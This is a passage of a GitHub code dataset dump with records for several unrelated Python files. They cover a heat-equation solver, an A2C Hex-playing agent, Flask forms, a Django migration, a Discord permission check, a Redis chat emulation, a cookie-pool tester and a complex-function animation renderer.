scale_length[i]*default_values['scaleZ']) # ignore height for now\n cmds.setAttr(\"Mouse1.translateX\", x[i]-320/2.0)\n cmds.setAttr(\"Mouse1.translateZ\", y[i]-240/2.0)\n cmds.setKeyframe()\n \n cmds.setAttr(\"Mouse1.rotateY\", 90+theta[i])\n cmds.setKeyframe()\n \n \n#cmds.setAttr(\"Mouse1.scaleX\", scale_x)\n#cmds.setAttr(\"Mouse1.scaleZ\", scale_z)\n#cmds.setAttr(\"Mouse1.scaleY\", scale_y)\n ","repo_name":"dattalab/pyparticles","sub_path":"maya_interface/animate_mouse.py","file_name":"animate_mouse.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"22459413336","text":"## Florida Polytechnic University\n## Angel Sarmiento\n\n## This is the main function implemented in developing a solution to the 1D heat equation \n## using the BTCS Scheme for use in ROM\n#!/usr/local/bin/ python3\n#%% Importing libraries\nimport scipy as sp\nimport scipy.sparse as sps\nfrom scipy.sparse import spdiags, linalg, diags, csr_matrix\nimport numpy as np\nfrom numpy import cos, sin, pi\nimport pandas as pd\n\n#setting seed for reproducibility\nimport random\nrandom.seed(123)\n\n#%% Defining the function\n\ndef heat_snapshots():\n snapshots_matrix = pd.DataFrame()\n \n\n t_end = 1 # Simulation time in seconds\n n = 129 # Discretization in space\n nt = 129 # time-step\n mu = 0.1 # heat equation constant\n\n dx = 1/n\n dt = t_end/nt\n x = np.arange(0, 1, dx).transpose()\n\n\n # INITIAL CONDITIONS \n initial_cond = np.array([cos(3*pi*x/2), sin(3*pi*x/2), 3*cos(5*pi*x/2), 2*sin(pi*x/2), 7*cos(5*pi*x/2)]).transpose()\n initial_val = np.array([1, 0.5, 3, 0.7, 1.5]).transpose() \n\n # for loop for iteration \n for i in range(0, len(initial_val)):\n \n u = initial_cond[:, i] #heat-transfer function u at initial time\n u[0] = initial_val[i] #value of u at initial position\n\n #Setting up the (n-1) x (n-1) coefficient matrix.\n e = np.ones((n-1, 1))\n m = mu*dt/dx**2\n # creating a matrix of diagonals\n A = spdiags((e * np.array([-m, 1+2*m, -m])).transpose(), [-1, 0 , 1], n-1, n-1)\n\n #fixing lower right entry for Neuman Boundary Condition\n A = csr_matrix(A)\n A[n-2, n-2] = 1 + m\n\n # nested time loop to calculate and then apply the new rhs/lhs in BTCS\n for j in range(nt):\n #time = j*dt\n #setting the right hand side\n rhs = u[1:len(u)] # this is to not overwrite the boundary condition accidentally\n rhs[0] = rhs[0] + m*u[0] # fixing the first equation for the boundary condition\n \n u_new = sps.linalg.spsolve(A, rhs) # getting the new rhs by solving A\\b\n\n u[1:len(u)] = u_new\n #u[-1] = u[-2] #This just fixes the Neumann Boundary condition if we wanted to plot\n\n # collecting the snapshots \n if j % 5 == 0: \n snapshots_matrix = pd.concat([snapshots_matrix, pd.DataFrame(u[0:-1])], axis = 1)\n \n # computing the svd for the snapshots matrix and returning them \n U, S, V = np.linalg.svd(snapshots_matrix, full_matrices=True) \n\n return snapshots_matrix, U, S, V\n","repo_name":"angel-sarmiento/ROM-Projects","sub_path":"1D-Heat_equation/python/generate_snapshots.py","file_name":"generate_snapshots.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27421591689","text":"import os\nimport random\n\nimport torch\nimport torch.nn as nn\n\n# other imports\nimport datetime\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nfrom joblib import dump, load\n\n# hex env\nfrom fhtw_hex.hex_engine import hexPosition\n\n# torch.set_printoptions(threshold=10000)\n\n# Variables to adapt\nAGENT_VERSION_NUMBER = 13\nNUM_AGENTS_TO_TRAIN = 5\nTRAIN_ON_LAST_NUM = 6\nMAX_EPISODES = 100000\nEVAL_AFTER_X_EPISODES = 2000\nHEX_BOARD_SIZE = 7\n\n\nclass Actor(nn.Module):\n def __init__(self, n_actions, device, in_channels=1, kernel_size=3):\n super().__init__()\n\n self.device = device\n\n self.conv = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=kernel_size, stride=1, padding=1),\n nn.Tanh(),\n nn.Conv2d(in_channels=32, out_channels=32, kernel_size=kernel_size, padding=1),\n nn.Tanh(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=kernel_size, padding=1),\n nn.Tanh(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=kernel_size, padding=1),\n nn.Tanh(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n nn.Flatten()\n )\n\n self.lin = nn.Sequential(\n nn.Linear(64, n_actions),\n nn.Softmax()\n )\n\n def forward(self, X):\n tensor = torch.tensor(X, dtype=torch.float32).to(self.device)\n # print(len(tensor))\n tensor.unsqueeze_(-1)\n tensor = tensor.expand(len(tensor), len(tensor), 1)\n tensor = tensor.permute(2, 0, 1)\n # print(tensor)\n\n x = self.conv(tensor)\n x = torch.transpose(x, 0, 1)\n x = self.lin(x)\n\n return x.flatten()\n\n\nclass Critic(nn.Module):\n def __init__(self, device, in_channels=1, kernel_size=3):\n super().__init__()\n self.device = device\n\n self.conv = nn.Sequential(\n nn.Conv2d(in_channels=in_channels, out_channels=32, kernel_size=kernel_size, stride=1, padding=1),\n nn.ReLU(),\n nn.Conv2d(in_channels=32, out_channels=32, kernel_size=kernel_size, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=kernel_size, padding=1),\n nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=kernel_size, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n nn.Flatten()\n )\n\n self.lin = nn.Sequential(\n nn.Linear(64, 1),\n nn.Softmax()\n )\n\n def forward(self, X):\n tensor = torch.tensor(X, dtype=torch.float32).to(self.device)\n # print(len(tensor))\n tensor.unsqueeze_(-1)\n tensor = tensor.expand(len(tensor), len(tensor), 1)\n tensor = tensor.permute(2, 0, 1)\n # print(tensor)\n\n x = self.conv(tensor)\n x = torch.transpose(x, 0, 1)\n x = self.lin(x)\n\n return x.flatten()\n\n\nclass Memory:\n def __init__(self):\n self.log_probs = []\n self.values = []\n self.rewards = []\n self.dones = []\n\n def add(self, log_prob, value, reward, done):\n self.log_probs.append(log_prob)\n self.values.append(value)\n self.rewards.append(reward)\n self.dones.append(done)\n\n def clear(self):\n self.log_probs.clear()\n self.values.clear()\n self.rewards.clear()\n self.dones.clear()\n\n def _zip(self):\n return zip(self.log_probs,\n self.values,\n self.rewards,\n self.dones)\n\n def __iter__(self):\n for data in self._zip():\n return data\n\n def reversed(self):\n for data in list(self._zip())[::-1]:\n yield data\n\n def __len__(self):\n return len(self.rewards)\n\n\nclass A2CAgent:\n \"\"\"\n A2C Learning wrapper.\n\n Attributes\n ----------\n env : fhtw.hexPosition\n HEX Environment\n device : cuda.device\n The hardware used by torch in computation\n memory : replayMemory\n The transition memory of the A2C learner.\n n_actions : int\n Number of actions in the environment = board size squared.\n episode_rewards : list[int]\n A list of episode rewards. In principle if agent won (1), lost (-1) or tied (0)\n actor: torch.nn.Module\n Actor for A2C\n critic: torch.nn.Module\n Critic for A2C\n opponents: list\n List of possible opponents\n \"\"\"\n\n def __init__(self, board_size=7, env=None, kernel_size=3, opponents=None):\n self.env = hexPosition(size=board_size) if env is None else env\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n # print(self.device)\n self.n_actions = board_size ** 2\n\n self.state, self.player, self.winner = self.env.reset()\n\n self.episode_rewards = []\n self.episode_durations = []\n self.memory = Memory()\n\n self.actor = Actor(self.n_actions, self.device, in_channels=1, kernel_size=kernel_size)\n self.critic = Critic(self.device, in_channels=1, kernel_size=kernel_size)\n\n self.opponents = opponents\n\n def get_action_space(self, recode_black_white=True):\n return self.env.get_action_space(recode_black_as_white=recode_black_white)\n\n def plot_durations(self, averaging_window=50, title=\"\"):\n \"\"\"\n Visually represent the reward history.\n \"\"\"\n averages = []\n for i in range(1, len(self.episode_durations) + 1):\n lower = max(0, i - averaging_window)\n averages.append(sum(self.episode_durations[lower:i]) / (i - lower))\n plt.xlabel(\"Episode\")\n plt.ylabel(\"Episode length with \" + str(averaging_window) + \"-running average\")\n plt.title(title)\n plt.plot(averages, color=\"black\")\n plt.scatter(range(len(self.episode_durations)), self.episode_durations, s=2)\n plt.show()\n\n def get_action(self, actor, state, recode_black_white=False):\n \"\"\"\n Get an action and log probability from the possible action space of the environment.\n \"\"\"\n probs = actor(state)\n # print(f\"actual probs: {probs}\")\n # remove played spaces from probabilities\n action_space = self.get_action_space(recode_black_white=recode_black_white)\n # print(action_space)\n free_logic = torch.zeros(probs.numel(), dtype=torch.bool)\n\n for (x, y) in action_space:\n free_logic[x * self.env.size + y] = 1\n\n new_probs = probs[free_logic]\n # print(new_probs)\n\n # get distribution and sample action\n dist = torch.distributions.Categorical(probs=new_probs)\n action = dist.sample()\n # print(action)\n # print(action)\n log_prob = dist.log_prob(action)\n\n action = action_space[action.detach().numpy()]\n\n return action, log_prob\n\n def evaluate(self, num_eval) -> bool:\n \"\"\"\n Evaluate the last num_eval plays to know if learning can be stopped\n \"\"\"\n print('evaluate...')\n counter = 0\n for i in range(len(self.episode_rewards) - num_eval, len(self.episode_rewards)):\n if self.episode_rewards[i] == 1:\n counter += 1\n if (counter * 100 / num_eval) >= 90:\n return True\n return False\n\n # print(self.episode_rewards[0])\n\n def learn(self, num_episodes=5000, gamma=0.99, lr_actor=1e-4, lr_critic=1e-4, agent_player=1, eval_after=500):\n \"\"\"\n Training the model\n Parameters\n ----------\n num_episodes : int\n Number of epochs to train\n gamma : float\n \n lr_actor: float\n Learning rate for the actor\n lr_critic: float\n Learning rate for the critic\n agent_player: int\n 1: agent plays as white\n -1: agent plays as black\n eval_after: int\n Evaluate after x plays\n \"\"\"\n\n adam_actor = torch.optim.Adam(self.actor.parameters(), lr=lr_actor)\n adam_critic = torch.optim.Adam(self.critic.parameters(), lr=lr_critic)\n\n for i_episode in range(num_episodes):\n print(f\"episode: {i_episode}\")\n done = False\n state, player, winner = self.env.reset()\n\n game_len = 0\n\n if (i_episode + 1) % eval_after == 0:\n # if evaluation is True stop training\n if self.evaluate(eval_after):\n break\n\n opponent = random.choice(self.opponents)\n\n r = random.random()\n\n while not done:\n game_len += 1\n # print(f\"game len: {game_len}\")\n\n if player == agent_player:\n # print('player')\n action, log_prob = self.get_action(self.actor, state, recode_black_white=False)\n # print(f\"action: {action}\")\n # print(f\"log prob: {log_prob}\")\n\n next_state, reward, done, next_player = self.env.move(action)\n\n # print(next_state)\n # print(reward)\n # print(done)\n\n self.memory.add(log_prob, self.critic(state), reward, done)\n\n # Abwechselnd gegen verschiedene vorversionen spielen und mit wahrscheinlichkeit 10% gegen random\n else:\n # print('random')\n # turn board 90° and multiply with -1 as agents are trained on playing white\n turned_board = [list(row) for row in zip(*reversed(state))]\n turned_board = [[j * -1 for j in i] for i in turned_board]\n\n if opponent is not None and r > 0.1:\n action, _ = self.get_action(opponent, turned_board, recode_black_white=True)\n\n action = self.env.recode_coordinates(action)\n next_state, reward, done, next_player = self.env.move(action)\n\n else:\n next_state, reward, done, next_player = self.env._random_move()\n\n if done:\n # self.env.print(invert_colors=False)\n self.memory.rewards = [reward for i in self.memory.rewards]\n\n # print(\"done\")\n last_q_val = self.critic(next_state).detach().data.numpy()\n\n values = torch.stack(self.memory.values)\n q_vals = np.zeros((len(self.memory), 1))\n\n # target values are calculated backward\n # it's super important to handle correctly done states,\n # for those cases we want our to target to be equal to the reward only\n q_val = last_q_val\n\n for i, (_, _, r, d) in enumerate(self.memory.reversed()):\n q_val = r + gamma * q_val * (1.0 - d)\n q_vals[len(self.memory) - 1 - i] = q_val # store values from the end to the beginning\n\n advantage = torch.Tensor(q_vals) - values\n\n critic_loss = advantage.pow(2).mean()\n adam_critic.zero_grad()\n critic_loss.backward()\n adam_critic.step()\n torch.nn.utils.clip_grad_norm(parameters=self.critic.parameters(), max_norm=10, norm_type=2.0)\n\n actor_loss = (-torch.stack(self.memory.log_probs) * advantage.detach()).mean()\n adam_actor.zero_grad()\n actor_loss.backward()\n adam_actor.step()\n\n # clipping gradients as somehow exploded gradients appeared\n torch.nn.utils.clip_grad_norm(parameters=self.actor.parameters(), max_norm=10, norm_type=2.0)\n\n self.memory.clear()\n\n player = next_player\n state = next_state\n\n # print(self.env.board)\n # print(self.env.winner)\n self.episode_rewards.append(self.env.winner * agent_player)\n print(f'reward: {self.env.winner}')\n\n def plot_rewards(self, averaging_window=50, title=\"Total reward per episode (online)\", version=1):\n \"\"\"\n Visually represent the learning history to standard output.\n \"\"\"\n averages = []\n for i in range(1, len(self.episode_rewards) + 1):\n lower = max(0, i - averaging_window)\n averages.append(sum(self.episode_rewards[lower:i]) / (i - lower))\n plt.xlabel(\"Episode\")\n plt.ylabel(\"Episode length with \" + str(averaging_window) + \"-running average\")\n plt.title(title)\n plt.plot(averages, color=\"black\")\n plt.scatter(range(len(self.episode_rewards)), self.episode_rewards, s=2)\n plt.show()\n plt.savefig(f\"v{version}_reward_hex.png\")\n\n\ndef main():\n version = AGENT_VERSION_NUMBER\n if os.path.isfile(f'v{version}_hex_actor.a2c'):\n print(\"This version already exists. Higher the version number to start training the agent.\")\n exit(0)\n\n for i in range(NUM_AGENTS_TO_TRAIN):\n # save time to see how long the training took\n dt = datetime.datetime.now()\n\n opponents = []\n\n for x in range(version - TRAIN_ON_LAST_NUM, version):\n try:\n opponents.append(load(f'v{x}_hex_actor.a2c'))\n\n except:\n print(f'Version {x} does not exist')\n\n agent = A2CAgent(board_size=HEX_BOARD_SIZE, opponents=opponents)\n agent.learn(num_episodes=MAX_EPISODES, eval_after=EVAL_AFTER_X_EPISODES)\n agent.plot_rewards(version=version)\n\n dump(agent.actor, f\"v{version}_hex_actor.a2c\")\n dump(agent.episode_rewards, f\"v{version}_hex_episode_rewards.a2c\")\n print(agent.episode_rewards)\n\n print(datetime.datetime.now() - dt)\n version += 1\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ehph1803/reil_hex","sub_path":"hex_agent.py","file_name":"hex_agent.py","file_ext":"py","file_size_in_byte":14177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21556745997","text":"from flask_login import current_user\nfrom flask_wtf import FlaskForm\nfrom wtforms import ValidationError, validators\nfrom wtforms.fields import BooleanField, StringField\n\nCONSENT_ERROR_MESSAGE = \"Your consent is required to continue.\"\n\n\nclass ConsentForm(FlaskForm):\n profile = BooleanField(\n \"I consent to fetching, processing and storing my profile \"\n \"data which is fetched from the GitHub API.\",\n validators=[validators.DataRequired(CONSENT_ERROR_MESSAGE)],\n )\n org = BooleanField(\n \"I consent to fetching, processing and storing my GitHub \"\n \"organization membership data which is fetched from the \"\n \"GitHub API.\",\n validators=[validators.DataRequired(CONSENT_ERROR_MESSAGE)],\n )\n identify = BooleanField(\n \"I consent to using browser cookies for identifying me for \"\n \"account features such as logging in and content personalizations \"\n \"such as rendering my account dashboard.\",\n validators=[validators.DataRequired(CONSENT_ERROR_MESSAGE)],\n )\n age = BooleanField(\n \"I'm at least 16 years old or – if not – have permission by a \"\n \"parent (or legal guardian) to proceed.\",\n validators=[validators.DataRequired(CONSENT_ERROR_MESSAGE)],\n )\n\n\nclass LeaveForm(FlaskForm):\n login = StringField(\"Your GitHub Login\", validators=[validators.DataRequired()])\n\n def validate_login(self, field):\n if field.data != current_user.login:\n raise ValidationError(\n \"Sorry, but that GitHub login doesn't match our records.\"\n )\n","repo_name":"jazzband/website","sub_path":"jazzband/account/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"32"} +{"seq_id":"19251617844","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('users', '0004_emailedride'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='emailedride',\n name='ride',\n field=models.ForeignKey(related_name=b'emailed_users', to='rides.Ride'),\n ),\n ]\n","repo_name":"tomasra/carpool_news","sub_path":"carpool_news/users/migrations/0005_auto_20141106_1335.py","file_name":"0005_auto_20141106_1335.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8727805307","text":"'''\r\n2023.05.03\r\n정성훈\r\n#문제정의\r\n 입력받은 구구단 출력하기\r\n#문제분석\r\n 변수-단(dan),반복횟수(i)\r\n#알고리즘\r\n 1.변수선언\r\n dan에 정수 입력받기\r\n i=1\r\n 2.논리(반복)\r\n (조건) while i<=9:\r\n 구구단 출력\r\n'''\r\n\r\ndan=int(input('단 입력 : '))\r\ni=1\r\nprint(\"###\",dan,'단 ###')\r\nwhile i<=9:\r\n print(dan,\"*\",i,\"=\",dan*i)\r\n i=i+1\r\n","repo_name":"Hoon94064/SW","sub_path":"0503/0503.ex4.py","file_name":"0503.ex4.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35670283098","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals, print_function\n\nimport os\n\ntry:\n import Image\nexcept ImportError:\n from PIL import Image\n\nfrom . import process\n\n\nclass starling_atlas_Processor(process.Process):\n node_id = \"starling\"\n\n def __init__(self):\n pass\n\n def process(self, context, walker):\n\n meta = walker.root_meta\n xml_path = walker.getPath(\"file\")\n folder = os.path.split(xml_path)[0] + \"/\"\n file_doc = context._open_xml(context.src_data + xml_path)\n\n file_root = file_doc\n image_name = file_root.getAttribute(\"imagePath\")\n image_path = context.src_data + folder + image_name\n\n image = Image.open(image_path)\n image.load()\n\n meta.setAttribute(\"tw\", str(image.size[0]))\n meta.setAttribute(\"th\", str(image.size[1]))\n","repo_name":"oxygine/oxygine-framework","sub_path":"tools/resbuild/process_starling_atlas.py","file_name":"process_starling_atlas.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":761,"dataset":"github-code","pt":"32"} +{"seq_id":"3790339719","text":"import django\nfrom django.contrib.auth.models import User\n\nfrom webinterface import models\nfrom webinterface.models import DiscordUser\n\n\ndef can_edit(who, what):\n if isinstance(who, models.DiscordUser):\n pass\n elif isinstance(who, int) or isinstance(who, str):\n try:\n who = DiscordUser.objects.get(discord_id=int(who))\n except:\n return False\n elif isinstance(who, User):\n try:\n if who.is_staff:\n return True\n who = DiscordUser.objects.get(discord_id=int(who.socialaccount_set.all()[0].uid))\n except:\n return False\n elif hasattr(who, 'is_authenticated'):\n # Anonymous user\n return False\n else:\n raise Exception(f\"I don't know what to do with an object of type {type(who)} for 'who' \")\n\n if isinstance(what, models.Action):\n if who == what.responsible_moderator or \\\n who in what.guild.settings.permissions_admins.all() or \\\n who == what.guild.owner:\n return True\n else:\n return False\n elif isinstance(what, models.DiscordGuild):\n if who == what.owner or \\\n who in what.settings.permissions_admins.all():\n return True\n else:\n return False\n else:\n raise Exception(f\"I don't know what to do with an object of type {type(what)} for 'what' \")\n","repo_name":"getbeaned/GetBeaned-WebInterface","sub_path":"webinterface/edition_controls.py","file_name":"edition_controls.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"32"} +{"seq_id":"27160360494","text":"import random\nfrom threading import Thread\nfrom redisserv.redisserv import RedisServer\nfrom faker import Faker\nfrom stor.admin import AdminController\nfrom menu import Menu\n\n\nfake = Faker()\n\ndef emulation():\n fake = Faker()\n users_count = 5\n users = [fake.profile(fields=['username'], sex=None)['username'] for u in range(users_count)]\n threads = []\n try:\n for i in range(users_count):\n threads.append(EmulationController(users[i], users, users_count, random.randint(100, 5000)))\n for thread in threads:\n thread.start()\n AdminController()\n for thread in threads:\n if thread.is_alive():\n thread.stop()\n except Exception as e:\n Menu.show_error(str(e))\n\n\nclass EmulationController(Thread):\n def __init__(self, username, users_list, users_count, loop_count):\n Thread.__init__(self)\n self.quant_loop = loop_count\n self.serv = RedisServer()\n self.usrs_list = users_list\n self.users_quant = users_count\n self.serv.registration(username)\n self.usr_id = self.serv.sign_in(username)\n\n def run(self):\n while self.quant_loop > 0:\n message_text = fake.sentence(nb_words=10, variable_nb_words=True, ext_word_list=None)\n receiver = self.usrs_list[random.randint(0, self.users_quant - 1)]\n self.serv.create_message(message_text, receiver, self.usr_id)\n self.quant_loop -= 1\n\n self.stop()\n\n def stop(self):\n self.serv.sign_out(self.usr_id)\n self.quant_loop = 0\n","repo_name":"immaria/Database_Labs2","sub_path":"lab2/src/emulation.py","file_name":"emulation.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27491590775","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport os\nimport sys\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nsys.path.append(BASE_DIR)\n\nimport json\nimport requests\nfrom requests.exceptions import ConnectionError\nfrom cookiespool.db import *\n\n\nclass ValidTester(object):\n def __init__(self, website='default'):\n self.website = website\n self.cookies_db = RedisClient('cookies', self.website)\n\n def test(self, username, cookies):\n raise NotImplementedError\n\n def run(self):\n cookies_groups = self.cookies_db.all()\n for username, cookies in cookies_groups.items():\n self.test(username, cookies)\n\n\nclass SogouValidTester(ValidTester):\n def __init__(self, website='sogou'):\n ValidTester.__init__(self, website)\n\n def test(self, username, cookies):\n # print('正在测试Cookies', '时间用户名', username)\n try:\n cookies = json.loads(cookies)\n except TypeError:\n # print('Cookies不合法', username)\n self.cookies_db.delete(username)\n # print('删除Cookies', username)\n return\n try:\n test_url = TEST_URL_MAP[self.website]\n response = requests.get(test_url, cookies=cookies, timeout=5, allow_redirects=False)\n if response.status_code == 200 and \"antispider\" not in response.request.url and '请输入验证码' not in response.text:\n # print('Cookies有效', username)\n pass\n else:\n print(response.status_code, response.headers)\n # print('Cookies失效', username)\n self.cookies_db.delete(username)\n # print('删除Cookies', username)\n except ConnectionError as e:\n print('发生异常', e.args)\n raise e.args\n\n\nif __name__ == '__main__':\n SogouValidTester().run()\n","repo_name":"MeiYu7/CookiesPool","sub_path":"CookiesPool-master/cookiespool/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6241890050","text":"# -*- coding:utf-8 -*-\nclass Solution:\n def Add(self, num1, num2):\n # write code here\n while num2 != 0:\n sum_ = num1 ^ num2\n carry = (num1 & num2) << 1\n num1 = sum_ & 0xffffffff\n num2 = carry\n return num1 if num1 >> 31 == 0 else num1 - 0xffffffff - 1\n\n\n\nif __name__ == \"__main__\":\n print(Solution().Add(11,34))","repo_name":"LeonhardtWang/sword-to-offer","sub_path":"65_Add.py","file_name":"65_Add.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4982564039","text":"from typing import Callable\n\nimport numpy as np\nimport cv2\nfrom tqdm import tqdm\nfrom scipy.special import comb\n\n\ndef smoothstep(x: np.ndarray, x_min=0, x_max=1, N=1) -> np.ndarray:\n x = np.clip((x - x_min) / (x_max - x_min), 0, 1)\n\n result = 0\n for n in range(0, N + 1):\n result += comb(N + n, n) * comb(2 * N + 1, N - n) * (-x) ** n\n\n result *= x ** (N + 1)\n\n return result\n\n\ndef get_rectangles(grid_center: complex,\n grid_width: float,\n grid_height: float,\n n_grid: int) -> np.ndarray[(None, None, None), np.complex128]:\n points_per_segment = 10\n\n x = np.linspace(-grid_width / 2, grid_width / 2,\n n_grid, endpoint=False)\n y = np.linspace(-grid_height / 2, grid_height / 2,\n n_grid, endpoint=False)\n\n rectangles = np.zeros((\n n_grid,\n n_grid,\n 4 * (points_per_segment - 1) + 1),\n dtype=np.complex128)\n\n x_side = np.linspace(0, grid_width / n_grid, points_per_segment)\n x_box = np.concatenate((\n x_side,\n np.full(points_per_segment - 2, x_side[-1]),\n x_side[::-1],\n np.full(points_per_segment - 1, x_side[0])))\n y_side = np.linspace(0, grid_height / n_grid, points_per_segment)\n y_box = np.concatenate((\n np.full(points_per_segment - 1, y_side[0]),\n y_side,\n np.full(points_per_segment - 2, y_side[-1]),\n y_side[::-1]))\n\n for i, x_pos in enumerate(x):\n for j, y_pos in enumerate(y):\n pos = x_pos + 1j * y_pos\n box = x_box + 1j * y_box\n rectangles[i, j, :] = grid_center + pos + box\n\n return rectangles\n\n\ndef create_video(func: Callable[[np.complex128], np.complex128],\n filename: str,\n fps: int,\n seconds: float,\n grid_center: complex,\n grid_width: float,\n grid_height: float,\n n_grid: int):\n \"\"\"\n Create a video animating the functino `func` on a grid of complex numbers.\n\n :param func: Function which can be evaluated on numpy array of complex values\n :param filename: Location to stor output video\n :param fps: frames per second of the video\n :param seconds: total video time\n :param grid_center: the center of the grid which `func` is applied to\n :param grid_width: the width of the grid which `func` is applied to\n :param grid_height: the height of the grid which `func` is applied to\n :param n_grid: Number of grid cells in x- and y-dimension\n :return: None\n \"\"\"\n\n # Video parameters\n frame_width = 1280\n frame_height = 720\n frame_ratio = frame_width / frame_height\n\n # Grid of rectangles to evaluate function on\n rectangles = get_rectangles(grid_center, grid_width, grid_height, n_grid)\n\n # Create array with start and end times between 0 (start of video) and 1 (end of video)\n # for every rectangle in the grid.\n n_grid_x = rectangles.shape[1]\n n_grid_y = rectangles.shape[0]\n start_times = np.linspace(0.1, 0.7, n_grid_x * n_grid_y).reshape(\n n_grid_y, n_grid_x)[::-1, :]\n end_times = start_times + 0.1\n\n # Get coordinates of enclosing rectangle.\n start_min_x, start_max_x = np.real(rectangles).min(), np.real(rectangles).max()\n start_min_y, start_max_y = np.imag(rectangles).min(), np.imag(rectangles).max()\n start_x_len = start_max_x - start_min_x\n start_y_len = start_max_y - start_min_y\n start_center = 0.5 * (start_min_x + start_max_x) + 0.5j * (start_min_y + start_max_y)\n\n # Get coordinates of enclosing rectangle of data transformed by `func`.\n transformed = func(rectangles)\n end_min_x, end_max_x = np.real(transformed).min(), np.real(transformed).max()\n end_min_y, end_max_y = np.imag(transformed).min(), np.imag(transformed).max()\n end_x_len = end_max_x - end_min_x\n end_y_len = end_max_y - end_min_y\n end_center = 0.5 * (end_min_x + end_max_x) + 0.5j * (end_min_y + end_max_y)\n\n # Offset of the rectangles at the beginning and the end of the video.\n x_len = start_x_len + end_x_len\n y_len = max(start_y_len, end_y_len)\n start_offset = - 0.5 * start_x_len / x_len\n end_offset = 0.5 * end_x_len / x_len\n\n scale = min(1 / (y_len * frame_ratio), 1 / x_len) * 0.98\n\n # The boundaries of the window of the complex plain which is shown in the video.\n window_bottom = -0.5 / frame_ratio\n window_top = 0.5 / frame_ratio\n window_left = - start_x_len / x_len\n window_right = end_x_len / x_len\n\n # Create the video\n fourcc = cv2.VideoWriter_fourcc(*'mp4v')\n video = cv2.VideoWriter(f\"{filename}\", fourcc, float(fps), (frame_width, frame_height))\n N = fps * seconds\n for k in tqdm(range(N)):\n # Create an array containing a value between 0 and 1 for every rectangle indicating how far it has moved\n # yet.\n time = k / (fps * seconds - 1)\n s = smoothstep((time - start_times) / (end_times - start_times), N=3)\n s[time < start_times] = 0\n s[time > end_times] = 1\n s = np.expand_dims(s, 2)\n\n # Apply func to the rectangles and move it according to the corresponding value in the array s.\n rectangles_mod = ((1 - s) * (scale * (rectangles - start_center) + start_offset)\n + s * (scale * (func(rectangles) - end_center) + end_offset))\n\n def transform_x(x):\n return frame_width * ((x - window_left) / (window_right - window_left))\n\n def transform_y(y):\n return frame_height * ((window_top - y) / (window_top - window_bottom))\n\n # Obtain x_coordinates of (deformed) rectangles\n rectangles_x = transform_x(np.real(rectangles_mod)).astype(np.uint64)\n\n # Obtain y_coordinates of (deformed) rectangles\n rectangles_y = transform_y(np.imag(rectangles_mod)).astype(np.uint64)\n\n # Create frame with white background\n frame = np.full((frame_height, frame_width, 3), 255, dtype=np.uint8)\n\n # draw red circle at center of start and end\n start_center_x = transform_x(np.real(start_offset)).astype(np.uint64)\n start_center_y = transform_y(np.imag(start_offset)).astype(np.uint64)\n cv2.circle(frame, [start_center_x, start_center_y],\n radius=7,\n color=(164, 163, 80),\n thickness=-1,\n lineType=cv2.LINE_AA)\n end_center_x = transform_x(np.real(scale*func(start_center) + end_offset)).astype(np.uint64)\n end_center_y = transform_y(np.imag(scale*func(start_center) + end_offset)).astype(np.uint64)\n cv2.circle(frame, [end_center_x, end_center_y],\n radius=7,\n color=(164, 163, 80), # (56, 175, 252),\n thickness=-1,\n lineType=cv2.LINE_AA)\n\n # Add all deformed rectangles to a new frame\n m, n = rectangles.shape[:2]\n for i in range(m):\n for j in range(n):\n polygon = np.column_stack((\n rectangles_x[i, j, :], rectangles_y[i, j, :]))\n cv2.polylines(frame, [polygon],\n isClosed=False,\n color=(0, 0, 0),\n thickness=1,\n lineType=cv2.LINE_AA # cv2.LINE_AA stand for anti-aliased line\n )\n\n video.write(frame)\n\n video.release()\n","repo_name":"tebartsch/holo-animation","sub_path":"holo_animation/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":7447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73056859612","text":"import numpy as np\nimport matplotlib.pyplot as 